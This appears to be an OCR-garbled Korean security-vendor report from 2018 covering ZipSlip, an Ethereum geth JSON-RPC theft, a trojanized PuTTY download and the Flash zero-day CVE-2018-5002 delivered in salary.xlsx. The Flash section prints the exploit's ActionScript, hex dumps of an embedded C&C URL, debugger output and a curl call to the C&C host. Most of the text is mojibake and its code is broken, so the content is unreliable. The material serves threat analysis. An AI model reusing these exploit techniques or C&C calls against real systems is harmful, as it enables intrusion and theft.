Of FUHS 2Af8e B2, EXI AILRIOM T=2 Alsh = Q= AO= LERRLE

re

“ZipSlip”0[2} HH El 0] A= U= MAU2| U= K I CI2ER| B (Directory traversal) 342 Soll
L= o] mpd HOojMT| FPHO0|H tar, jar, war, cpio, apk, rar, 7z £ Zefst W2 5 ZOH0f| Feks OJEICt.
JavaScript, Ruby, Java, NET, Go 2] CiFet =723l HE £ =l Google, Oracle, IBM, Apache, Amazon,
Spring/Pivotal, Linkedin, Twitter, Alibaba, Eclipse, OWASP, ElasticSearch, JetBrains S2| 2= ZI7HS| ZE2HET} F|of5t
Tt 3 20[EH2E Eelol! = A= LIERKILC

0] FOPS 41 SO EIX| SX| U, CI2E2| EHM0| 753t YIS ASSH= Sto| ikt 8 % Tielg
ABEIORN o1 4 QUL Ziofst FELL 2j0|=2i212 Saf §0| 3| 2 22 B2KIS0| XY § S|
Q0| oY TS 3l 4 QA Ik

Zip Slip Vulnerability Exploit(&4}): https:/ /www.youtube.com/watchv=[1MT5lr4p9o

SZXt= Zip Slip S24S Soll Bt AIARI0|LE ASAR | iot=S £017| Plof| Z=T130| HA] HlmA0|Lt v+
AU FOMT| g = QA 0}, “IH2tM TS| 717|0M HHO 2 FHES Haish 4= Q| LY.

‘0| FUFH2 T WAUO|LL CHE 2T 2|AAS HOMY| O =M HIO|XIS e 4= ULt ESH S2HOIYE T 2
Me| ZEOM 2AEE 4= QUCEZip THUQ| HHIR = +XIAO 2 TSO{MOF BITE. Zip 2 AREAIE0] 0[2{3 22
IfUS F7IoH=S S1S0IX|T, 0F710|2 MY E2 LR = 51E01K| Bi=Lt oik|2 £ == 01801 0l=iet

B=E Eofot IS ddol= A2 i gt "2t A-1ES0] HRIC

(=

Lot S+1ES2 Zip Slip 0710129 PoC H SZXAI7E OEA Zip Slip FIFEE 2AEsk=A 20iF= Fe= S/HU.
43 0|2, B2 2= Fofet 2l0[22e| H Z2HEO| AZ|XIS0fIA| JHIEL 2 Zip Slip F|ES S7Hok |
X

]
1
30
il
o
I
of
1o
i
rr
o
=]

Fels E= 2E 20|222] 2 T2HEO| S52 Snyk 2 GitHub MEA0IA 2421
o g

HTS S7lioll 2XIE ALt

[&X https://thehadkemews.com/2018/06/ zipslip~vulnerability.html
https://snyk.o/research/zip-slip-vulnerability
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https://github.com/snyk/zip-slip-vulnerability/tree/master/archives
https://github.com/snyk/zip-slip-vulnerability/tree/master/archives

04 ofi2] Hot St

SiAHZ, QHSHK| A 714 & SEI0IHUEZRE 2 MUER 4E9| 0|H2IZ &X

Hackers Stole Over $20 Million in Ethereum from Insecurely Configured Clients

-

H
=

i
rEI
2

2Ot IRRIS0| QI 1 B ORIGIX| 91| T  O[E2IS L-ES S0IRGHs AloR
2 F3t £} O[S HIO{SQ! AJO|HHAXISO CHo ZTRCE

Qihoo 360 2| A71E=2 Xt 3 8 0|HElE =5 Adlioh= QFHoK| B2 geth 22H0IAES 57| 2ol
QIEISIOIM ZLE 8545 5 AMoh= AOJH fXX} 2=0 Chol Brel M QU 1 Al 152 OIEElE 3.96234

=ML,

M

oL
TIT A

mo

“lejL, gEE2 E OE gER 50| X|H R 7HE S2F JSON-RPC ZLE 8545 & 2iR0f| EAE H0| U=
ABXIEC] 0|H2IZ XIS SI01AHE 8l $20,500,000 22| O|HEIZ 38,642 7HE 22 XS LML
Geth= 0|HElE L.=8 Aot | #let 7FY Q17 [U= S=10IUES & SHLCh 12|10 JSON-RPC QIE[L0|IAS

245} 1 SIS0 HZ{O2 0[C2IS B2AIR! U 1T 7150) HRE 4 Q| BILk = 71501 Edxyg

27| M = ofid| =IRE 2= AP0M ERitits HUli= 7IsS HIRSI0 TA| MdE B il HEl=
FXlok= 715 S01 AL

¢?etherchain.org

Ethereum Account
0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464

Show 10 v entries

Hash Block Type  From To
0x957cDAFfIb3894FCT8b5134A...
3864222261 ETH Ox3f2a14f4 S768855  Tx OX6AASTATO 0 0xe57cD4l
JsD BTC Dxeb27e056 5768332 Tx Ox6dASTATC ) ox3s7cDa
20,525,539.36 | 83031.10 Oxdib0falba 5768067 T OxeAd23ECT [ oxss57cDal

0

=21 3210] S0U= SAXR| 0|HElF A2 OF2Het ZLt:
0x957cD4FOb3894FC78b5134A8DC72b032fFbC464
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04 offe] 2ot Sk

0] S QIEHIOIA ZHMEL SH, AISXISO| 0] FAS M5 70 20le EHEHCl= 32 44 THe)
22 U AAOIESON FOHE 2 UK

31 7 O|CiEfg TRHE ZO|A Last Hu0j T2, JSON-RPC QIEHOIAS QIEH R TS5t TiAl0] Hiat
A GIO| HHE ZP “ASKIQ) KR T, P S Ot L-724E 7H4SHHS B2 4 UCH'D St

TS oo 1St AIO|H HIZIXt 15 HAt OfLIR, CIZ BHRISE Jhaim| XZiolM £2 17| 20
OFRIGIR| 52 JSON-RPC QIEIIO|AS 37| 9Iof QIEINS AT UCKT $HCH OIE2IS LS 733
AR, 27 HEEZE OIZ0{XI= geth S20IIER0| 1210t 5{S5171LY, £47 RPC 20| 245t =0f
QU0{0F SH= ZL2AT, AIBX} 912 FHGH= 20| FCh,

[EX] https://thehackemews.com/2018/06/ethereum—geth-hacking html

ESTSECU!’ffy Copyright © 2018 ESTsecurity Corp. All rights reserved.

40



04 olie| Hot ZgF

2.3=

=zl 39 SHOIX|M| IZE Ao U

)RR R Wi ED

Z aro = M0) SHO|X|0f Flash ZI2FE(CVE-2018-4878)2 Q15 A=}
SRS 510 1o 981 ) fh B MESH MEAFEO) o OIS WSt B MBI
(oS o

C @ mb1.8772265.com 1

0264257

0] QPMT=0| B2 58 3Y X122 : 3023 1 007 LAHOM, 5 8 42 @ 10 ATIK| 05| TS

FIOIRALE. ALEAIZ} olid TOIXIS EiZotH HRH S CHIO|AS0| ZEE #1 OfLct 2AEEE, Fii= Hs

S U8RI REE = A

O S SHOIXIS| ASTFDE 1S Q| O, SWIIK| 71 S IHHE We X% 27, 45, 0150]
S, AW SOt

[EX{ https://guanjia.qo.com/news/n2/2329 html
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04 ofi2] Hot St

HIO|S= SW HZC| putty HIA] LT E HZ4EY

BERHFIOR putty #RES SR

Sese o % PuTTY * &k rr 5.8%
Tiee | Kh: 05M  BEA: 0.67.00
"":““ Vo Hame fr O adwen) ot
< — = fi2h: 32/64 EHEEE: 2017-02-07
Wrdow Raw ) Tne O\Fogn @SSH Cfew |
B0t | Laat s s st v ; THEES: WinXP/Win2003/Vista/Win7
Sureleton Saved Sewscra
2 — = M (240263 %) i
— isBon
= e
S8
e
Aemony Nrvwr # Orty on cean ot
v QE .
| [l e ol

b

|2 of HARLEIOIM RTFMOI2H= HUIYS AKZSh= ALZA ARt (HIOIF L2257} AFET 0] ZASERAC
PuttyOfl 2FSZ =7t TR0 ACHEL= M| 20| ARES| FF2 SAUCE 0] ZHdKh=, AH0| HIOIS sw
AEOIA ZPAHTO| puttyS "R 222 LHAR0F EX[R=E, AX| St 2702] SW7t RIS 2 AR =Tty

oIt

PR L2 22 Do) CHol 244 Tidich= 2}, putty= HISA HHCZ, A SH0IX|0] U= HFL X[0|7t
UAACHD BTt Lot HIO|F SWAIE(O| RIZE E[0RU= putty= A0 ZXHOIK| SEAH, BT HA| OfSHA
1.0.0.10|CH.

: /] v BFTIER S Wi (=
Gl == #E BB 2 =B (2]
(N > WSS (5) v | EEWESEE(5) »p
* REAE e
kakaodecrypt-ma £ ﬁ
= BR
4 = :
PuTTY_0.67.0.0. putty-64bit-0.70
o == exe -installer.msi
o PUTTY 0.67.0.0.exe Bt # putty-64bit-0.70-installer.msi Bl X

B mEiE =2 EEEE LamEs A BB NFE2 T2 BEV HEEE LEnEx
B ] ]
£ 1 PuTTY_0.67.0.0.exe # ‘ putty-64bit-0.70-installer.msi

T RNEERRE (exe) SR Windows Installer 254 (.msi)

Eopa PUTTY_0.67.0.0.exe aFA: ﬂgJ Windows® &&E5 B\H(C)...
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ofild SWE &gt £, 0| =11

ZHO

O =

o= off] 2|AER siid LHFO=

putty It AX[SH} Putty7f
00000000 12 02
00000010 38 SF
00000020 30 30
00000030 2F 64
00000040 31 31
000000S0O 38 SF
00000060 51 49
00000070 64 75
00000080 61 74
00000090 7k 2F
00000040 6E 67

ARAlZ o7 | Q5 RIZIRH= M ipS F&{6H HUCH
AQKH= HIOIE AfsHio] ARBAH AZEA0M 2

Jok

211} ip

Experience

Education
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‘et

~—

AISH=
SELE

6F
35
31
75
2F
35
59
12
69
49
40

6B
34
2E
62
65
34
49
38
63
S1
6B

1A
31
7
61
76
31
73
68
2E
49
62

FRALTEDG
B

Jan 2013 - Present « 5yrs 5 mos
=E B

Pl b e

i, T RRESER

2006 - 2013

SIS SW EIREE =
[ MRSt =2l 27H2] &

55
1z
7
2F
65
2E
65
74
69
59
30

OA
42
7
69
72
65
74
74
71
49
30

oD
68
2E
6E
2F
78
75
70
69
73
31

68
74
64
73
6B
65
70
34
79
65
2E

69
74
75
74
69
18
SF
2F
69
74
65

6E
70
62
61
6E
01
70
2F
2E
75
78

X OffH AHOl TA2 5101 listexe2tis TS LHZQITE BHIEH AIRIZ O]

A7t Tkl QXA 0 2|AES O L2 ChE0f
5 D222 MR[GH= Z40[Ct,

73
34
61
6C
73
1A
70
64
63
70
65

74
2F
2E
6C
74
51
73
6C
6F
SF
18

SF
2F
6E
2F
SF
(1)}
62
2E
6D
65

ol Y=

BEFRAATIEM

=) &
Pudongxin District, Shanghai, China « 10 8

MR A

36

s

. ok U Kinst_16
8_541 Bhttp://cd
001.www.duba,.net
/duba/install/20
11/ever/kinst_16
8_S541.exe Q I
QIYIsetup_ ppsbai
du 8http://dl.st
atic.igiyi.com/h
z/1QIYIsetup_eki
ng@kb001.exe

OJRAC.
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04 3He] Kot S5t

i ARZ40| ChaH OFEI7EX] HIO|SFO0IA OISt =t glon, OO ASMOE SWof| HER CHE T2 IS ‘20

=0710| T} JHOI19| SHOIQUIE BIAISH A oir}

NERR= 2HErs| ZARHE 21t ZA7H 24et HE2 0.67.0.0HHREZ, 24 2017 5EKE SW BN HZE

E|0] AL SIXY SHE SWi= 010] AK|E A&oCt

[EX] http:/ ;wwwfreebuf.com/news/ 171211 html
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04 slie| 2ot St

CVE-2018-5002:2018 4 &

I Flash HMIZCI|O] F|2fH

CVE-2018-5002—2018 5 =K Flash FERRATEHFRHDIANE

HiZ
20181 68 1 Y, 360 GEE2

HO|==E 01831 EA0| U= M

F|eFHOICt.

B2 SR 2A 24

ofld MS2 AEAISS| S0IE REE

Flash M|2H[0] £|2F(CVE-2018-5002)2 225t M2 ZZiS WUZHG|IFLCT,
Si71= &1Z40lM Flash ®ZH|0|7} L&t office BAE 2E5HL, Y 2AIE M D= FOBM0| Qb TFCEQ} Ok

HOlA L2 2h=Ct, O|HH SAR2 F= SS= EMICE LY. olid FUFS X
Adobe Flash Player 29.0.0.171 2! O[5} H{F0| Fek2 HiOH, siiE FUFXS 2ol 2 HME 274=l Flash M[ZH|0]
51015t salary xlsx 2MES 240 UQUCE T LIRE TRIHT SUsiom, 28

7|2 =0t0| LTUHK0| HSHE|0] 9!

I_OI—._‘

UL, 210t= OFF = 2L

*salaryxisx (MD5: *****517277fb0dbbs4bbf724245e663) M| LIRS MuoH IS 15

Xt O|O|X[O]C,
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04 ofi2] Hot St

oli71= acticex ZIESY
HA0]| U= M| 2J5H

H CHlOIEfo]

2740

|__l—'

| Flash T} &

AFEET HOE=S SIC

= Aolsy

IH_E

[T R—————

File Edit View Favorites Tools Help
Bp = 7w wmp ik
Add Extract Test Copy MoveDelete Info

IL? || | C:\Users\zz\Desktop\,

salary.xlsx\xl\activeX\

-

Name Si cked Size | Modified |Created Accessed Attributesl :
184
559 2018-05-31.. -TW-T--T--
228 2018-05-31.. -TW-T--T--
«| | 2l
‘D,’ 3 opject(s) selected |
factivexLbin ||
Offset o0 1 2 3 4 5 & 1 8 % A B T D E F BNSI RBSCII
goooi7B0 |00 OO0 OO 0O OO0 00 00 0O 08 00 22 OF 00 00 &8 00 = h
000017C0 |74 00 74 00 70 00 32 00 2F 00 2F OO0 70 00 65 00 t t p : / / D e
00001700 eF 00 70 00 eC 00 &5 00 2E 00 ©4 00 6F 00 68 00 op le . do h
000017E0Q |e1 00 €2 00 61 00 7% 00 74 00 2E 00 &3 00 6F 00  a . Co0o
000017F0 €D 00 2F 00 73 00 6F 00 6E 00 €7 00 73 00 2F 00 m / s on g s /
00001800 |64 00 6F 00 63 00 3F 00 74 00 oF 00 6B 00 65 00 do c 2 £t o k e
00001810 |eE 00 3D 00 3 00 35 00 €6 00 36 00 34 00 33 00 n =€ 5 £ &6 4 3
00001820 |34 00 3¢ 00 37 00 32 00 €0 00 39 00 30 00 o5 00 4 €6 7 2 £ 9 0 e
00001830 |e2 00 61 00 36 00 38 00 €2 00 39 00 36 00 35 00 b a € 8 b 9 € 5
00001840 (33 00 30 00 31 00 37 00 32 00 ©4 00 &2 00 37 00 3 01 7 2 db 7
gooo1ig850 |31 00 01 01 0O 0O O1 0O Q0 OO OO0 OO0 00 00 00 00 1

FHORY T Ty 24

Xlsx £ Aldlist 0|5 glze

—_

240] MH (CRC:people.doha™**

66491a5c5cd7423849f32b58f5) =

2ol HlO|Eet 552

shellcode & LH2{et1

Li o} Al

com
com
com

7152 HiZa i AtS WHSICY
2 200 HTTP penple dnha
B 200 HTTP people.doha
EY 200 HTTP people.doh
1E5 200 HTTF ople.doha
7 5 504  HTTP people.doha

FKEY & U 2=L ==

e e

OII

HSH |

S35} 5t FO| SWF I (M5
e78116bebfa1780736d343c9eb)2 Flash Oday exploit 2=, {270
ARliSIC}, AARZEEAok= AP0 R2l=

0]o] 52

.com) OJA] 24 swf ofd (MD5:
tCt, O] swf D2 CHA| MEO]| request 2

ELA]

| AlBHE| 0|5 YZAK[0f QAI5I0] ObAd

AR} &

S 2Fd OIS WFe

jzongs fdoc?token=65f6434672f90ebat8bo6530172db 7 1a
/stab /6564346 72f90ebas8bo6530172db 7 18/0-0-0.png?x=0.68 747846642509 1

[photos/doc/65f5434672f90ebassb96530172db 7 1a
stab /55f6434672f90ebasdbo6530172db 7 18/2-0-1.

com  fdownload /6564346 72f90ebataba6530172db7 18/

Mu=0.4314375674592435
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04 ofi2] Hot St

F1ors ZHo| Chepl T gt 2

1 Helmswiotgd o5
# 2 swi Y return
salary.xIsx
Ca&CMH
7-.4I0|H request
8. return
4, AES2t=3} [|0] £ shellcode
-« |

(Flash Oday exp)

FoRd 24| B

FoFH2| flash 34 == 10| H=E2P E|KCH, CHZ A48 8010 Ral= 34 ME S0IM M2 0]
27 FcE 2 4

% ik §§

Ll

o d

= i 1 packags
B & #E 7|1
[]—“Q 51%E k] import awm2. intrinsics. memory. 115;
- £%%E .
[]—“Q§D.§ 5 public class i 8
BT ; '
N 8
> & B§ 7
e &S 8 {
e ERWE 9 1iB(123456);
| SRES 10 I
> §,§ 11
—> | 55§ 12 public function &, & )
x| B85
> &60% t { cuper ():
o 58S 14 e
o> 58+ 2 '
> | 5% 18 !
> 5=5 17 !
—r | §=-§ E 18
—> &% :
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avm2.intrinsics.memory.li8;

public class class_b

var _locl39_:in

public function class_&6(){
super();
1
i
1
¥
1T
i

T E Z Static-init methods Flash = CIHZEE|EIE AtEol0 XM2|=|H, QIEZ2[E|7} try catch 722 A2l T
M2 E XM2IE kK| 20t 0[40| LMo, = F2|1i8(123456)HHS FUAA catch 250 2fs E2|74 =L,
Try catch 7122 X2/ I flash = catch 7-=20l|A] Aligt 4= Q= T=7| QI THEHSHY catch 12 25 52
HIO|E T 0| CHoH Ofmst HAMTE TIRioEK| 27 [[H—E—Oil SAXE= catch 225 5 getlocal, setlocal FHS
AFESI0] AEH HOjM QIS FAE S MA| g o= QA &= O[Tt RBHO= ZZK = AR 49| 2719

QEHE HOIEQ| exchange & Sot0] FATS R H=at 2= Teblo] 325 2kdeitt,
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T2 TS F O 81 Sl THOI 2= FOPHO| 013t HIO|ETES WHSIHOM, 342 localcount Z10)

2AOIRKCE ot catch =25 52| getlocal, setlocal O] 00| 448 1} 498 2|X|2] IO |[EZ A™E|HAUSS

package
{

import avm2. intrinsics. memory. 118

mazstack 3

€
7 [Lecutcom: 2 |

8 initscopedepth 3
depth 6
public class class_6 S| nerscapatept

{ 10 try from ofs0000 to ofs0004 ta

1: ‘B.dl
1i8(123456) 13 of=0000: jump ofs0024
i8(123456);
} 14 ofs0004: getlocal 0
15 pushscope
6 tch 0
public function cless_6() 16 moweats
{ 17 dup
0) 18 setlecal 1
super();
} 15 dup
} 20 pushscope
) 21 svap
29 setslot 1

23 getlocal 449

'TITL

24 setlocal 0

25 getlocal 448

27 getlocal O

25 pepscope

30 kill 1

31 jump ofs0028

32 ofs0024: pushint 123456

33 lis

34 pop

35 ofs0028 returnveid o

setlocal &At AEH HIO|E{E A HH, 0[0]X| S0f|IA ecx 2| 2f0] class5 LEHEOS| HQIH 068fc1a0 2 class7 2
TOIEal= 7S 1015t 4 OIC}

0:007> r

=ax=000001cl ebx=068f04f1 ecx=068fclS0 edz=02aca?fl esi=02acalf00 =di=08204167
=2ip=5c9074bd4 e=p=02aca?{f{0 ebp=02acaalf iopl=0 nv up =i pl nz na pe nc
c==001b ===0023 ds=0023 e=s=0023 {==003b gs=0000 efl=00000206
Fla=sh32_28_0_0_1611TAEMHodule TAEKernel TnloadModule+0x268574:

Cc9074b4 89082 oW dword ptr [edz+eax*d].ecx d=s:0023:02acasfd=068{clal

0:007> dd ecx 110

068fcl150 Scf2lc20 80002301 068f2280 0687i{e6d
068fc16l 11111111 22222222 33333333 44444444
068fcl?0 55555555 66666666 77777777 28883888
Oe8fcl80 99999999 assassssaa bbbbbbbb cococococoo
0:007> dd Oe8fclal 120

068fclal Scf2lc20 80002401 068f22cE8 0687f{eel
068fclbl Oe8fclf0 00000001 00000001 OOOOOOO1
068fclc0 00000001 0OOOOOO1 00000001 00000001
068fc1d0 00000001 00000001 00000001 OO0OOOOO1
068fclel 00000001 00000001 00000001 OO0OOOOO1
068fclfl GScf2lc20 00000002 062f2280 Ood27feed
068fc200 11111111 22222222 33333333 44444444
068fc210 55555555 BBBGRGGE 77777777 B8888888
0:007: 70000011

Evaluate expression: 449 = 000001c1

0:007> |

=ax=000001c0 ebx=068f04f1 ecx=068fclal edx=02aca7?fl e=si=02acaf00 =di=082041chb
2ip=5c9074bd esp=02aca?fl ebp=0Z2acaalld iopl=0 nv up =i pl nz na pe nc
c==001b s==s=0023 d=s=0023 es=0023 f=s=003b g==00 =f1=00000206
Flash32 _28_0_0_161!IiFEHodule IAEKernel UnloadMDdule+Dx2685?4

cca074bd 890282 now dword | ptr [edztesx*4].ecx d=s:0023:02acasf0=068{c150

ESTsecurity



274 QEREC]| HOIE| TES AT 0], THAK= QEME HHo| 7t HIIES S5l0] FFH0| HTHOS 48

EIRU=RIS 2015 4 QUC,

16 public funetion replaCE() : Boolean

17 {

18 ar _loed % =

18 ar loel :class 5 = mew class 5()

20 var _loe2_ class_7 = new class_T()

21 ar _loe3_ % = null;

22 _loc3_ = this method_69(_locl_, loc2_, loecl_ locZ_, loci_ _locZ_, loci_,

23 tr

24 {

25 locd =

26 whilel_locd ¢ _loc3_.length)

27 {

25 1f{ loe3_[loecd_l.m pl != l

29 {

a0 var_ 31 = loe3 [ locd ]

] var_82 = _loc2_;

32 return true;

33 }

34 locd_ = uint(_locd_ + 2);
SAA EE EE 54
F|oFH 2249 CRC AH= people.doha*™™*.com 0|, 1 ip TAE*145.128.57 O|ZLt whois OfIA] HEES ZiA5H
2 211 0] EHI2I2 2018 A 2 & 18 Yol SEEIILL Ol= & 23Xt =6l 2 2R H S4S ZHohi =
ULF.

2|7t 2H people.doha*™*.com EH|Q10f| &2 5 EL https://people.*** com/**/ EH|PICZ 2|CIO0[2M
SO, s MRS 5t FIEIE 52| A[HAVH H|O[X] KiCt.

~/tmp]$ curl -1 'http://myge.doh i com'

Date: Wed, 08 Jun
Content-Type: t
Transf i
Connection:
LDCdtlDH
)pSZGESTENSHLIZHpgbUcSTDhL
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